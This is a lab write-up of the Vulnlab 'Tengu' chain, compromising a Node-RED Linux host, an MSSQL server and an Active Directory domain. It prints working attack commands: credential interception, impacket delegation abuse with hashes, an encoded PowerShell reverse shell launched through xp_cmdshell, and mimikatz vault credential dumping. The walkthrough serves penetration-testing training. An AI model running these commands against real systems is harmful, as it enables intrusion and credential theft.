Vulnlab - Tengu
Tengu is a chain of medium level machines, consisting of one Linux machine and two Windows machines.
An instance of Node-RED was used to execute code on the Linux machine. The recovery of a database password was then used to compromise a domain account, which was administrator on the Linux machine.
The latter had constrained delegation for the MSSQL service, making it possible to compromise the associated MSSQL server.
Finally, by recovering information protected by DPAPI, it was possible to compromise the entire domain.
SQL User password
Using the nmap scan, we quickly identify a Node-Red instance on the Linux server. As the only ports open on the other machines are RDP ports, we focus directly on this instance.
Node-Red is a web application that lets you code in blocks (low code). Each code represents a function, enabling very high-level coding.
On the interface, you can see that the current workflow allows you to retrieve data from a database and write it to a text file.
When you click on the SQL block, you’ll notice that the password for access to this database is stored in the block. It’s also possible to modify the IP address of the SQL server, which could enable you to retrieve the password used to connect to it.
To recover the password, we can replace the IP address of the SQL server with the IP address of our machine and run the mitmsqlproxy
tool, which launches a fake sql server to intercept any connection attempt. This tool simulates the entire negotiation phase, which cannot be done with a simple netcat.
https://github.com/defragmentator/mitmsqlproxy
Thus, by launching the program, we manage to recover the password of the SQL account:
Node-Red to RCE
After a little research, we learned that some Node-Red blocks can be used to execute code directly on the server. So, by using one of them, you can directly obtain an RCE.
AD initial Access
Once the first machine has been compromised, you can use it as a pivot to access the SQL server, which was not accessible from the outside, with the following command :
1 | proxychains -q impacket-mssqlclient nodered_connector:[email protected] |
A scan of the database reveals the password hash for the t2_m.winters
account.
Using crackstation
, this hash can be broken.
You can then authenticate with this account on the domain.
NODERED$ compromise
With the initial access to the domain obtained, we can map the domain with bloodhound, revealing that the t2_m.winters account is in the LINUX_SERVER_ADMIN group, which means it is the administrator of the linux server.
So, using this account, you can connect to the server using ssh.
1 | └─$ ssh '[email protected]'@10.10.255.87 |
As the linux machine is on the domain, we can retrieve the krb5.keytab file and get the password hash of the linux server machine account.
1 | └─$ python3 /opt/KeyTabExtract/keytabextract.py krb5.keytab |
GMSA password
Next, we can see that the NODERED machine account can read the password of the GMSA01 account.
As a reminder, gMSA accounts (Group Manages Service Accounts) are a type of service account introduced by Microsoft starting with Windows Server 2012. They are designed to simplify service account management, particularly in environments where multiple servers share the same account.
Unlike traditional service accounts, gMSAs eliminate the need for administrators to manually manage passwords. Passwords are automatically generated by Active Directory, securely stored, and periodically renewed (by default every 30 days, but this period is configurable). gMSAs can be used for services, scheduled tasks or applications requiring a specific identity.
Using gMSAs requires at least a Windows Server 2012 domain functional level. It’s also important to note that gMSAs cannot be used to log in interactively, as they are intended for service use only and not for conventional user logins. Finally, some third-party services do not always support gMSAs, so you should check the compatibility of applications before deploying them.
For example, as the Nodered account had read access to the password of the gmsa account, it was possible to use gMSADUMPER
to retrieve the password of GMSA01
.
1 | proxychains -q python3 gMSADumper.py -d tengu.vl -l 10.10.255.85 -u 'NODERED$' -p d4210ee2db0c03aa3611c9ef8a4dbf49:d4210ee2db0c03aa3611c9ef8a4dbf49 |
RCBD Attack
Next, with BloodHound, we can identify that a service account, in particular a gMSA, is authorized to delegate authentication on the SQL server. This makes sense, as it allows him to access resources on behalf of other users, using the same service account.
On the other hand, as the service is only authorized to perform constrained delegation on the mssql service, the ticket we’ll retrieve by pretending to be an administrator will only allow us to authenticate on the mssql database.
1 | └─$ proxychains -q impacket-getST tengu.vl/gMSA01$ -impersonate administrator -hashes :c696a2bb90140a2ea7a5f75136e0f609 -spn 'MSSQLSvc/sql.tengu.vl' -dc-ip 10.10.255.85 -altservice cifs |
As we can see, the ticket we retrieve doesn’t allow us to authenticate to SMB, even if we have specified the altservice
field in the ticket. Even on the mssql service, this ticket doesn’t allow us to authenticate, probably because the administrator account doesn’t have access to the mssql service.
1 | ┌──(kali㉿kali)-[~/ctf/vulnlab/tengu] |
On the other hand, by impersonating T1_M.WINTERS
, we can authenticate to mssql and access the database as administrator.
1 | ┌──(kali㉿kali)-[~/ctf/vulnlab/tengu] |
SQL server compromise
With administrator access to the database, you can use the xp_cmdshell
command to execute a command directly on the server and obtain a reverse shell.
1 | SQL (TENGU\t1_m.winters dbo@Dev)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADYALgA4ADAAIgAsADQANAA0ADUAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'; |
Enumerating the session privileges obtained with the reverse shell, we see that the SeImpersonatePrivilege
privilege is enabled.
1 | PS C:\users\gMSA01$\Desktop> whoami /priv |
This privilege is particularly powerful under Windows, as it allows a process to usurp the identity of another user, provided it succeeds in obtaining the user’s token.
For example, with a tool like Juicy Potato
, an attacker can exploit a system service, such as DCOM or RPC, which runs under the SYSTEM account and can make network or local calls. The tool creates what is known as a named pipe, i.e. a system-internal communication channel enabling two processes to exchange data with each other.
Juicy Potato then forces the SYSTEM service to connect to this pipe by launching a specific COM or RPC request. As soon as the SYSTEM service connects, Windows temporarily stops its token SYSTEM
for this communication. Thanks to SeImpersonatePriviege, the attacker intercepts this token and can then launch a process under SYSTEM, thus obtaining the highest doroits on the machine.
To exploit this, the simplest method is to obtain a meterpreter shell and use the getsystem
command.
Then, using the kiwi extension, you can retrieve the password hash of the local administrator account and compromise the server
Domain compromise
With administrator access obtained, we can retrieve DPAPI-protected data, enabling us to obtain the cleartext password of an administrator account from scheduled tasks.
1 | *Evil-WinRM* PS C:\Users\Administrator\desktop> .\mimikatz.exe "privilege::debug" "token::elevate" "vault::cred /patch" "exit" |
This account can be used to compromise the domain.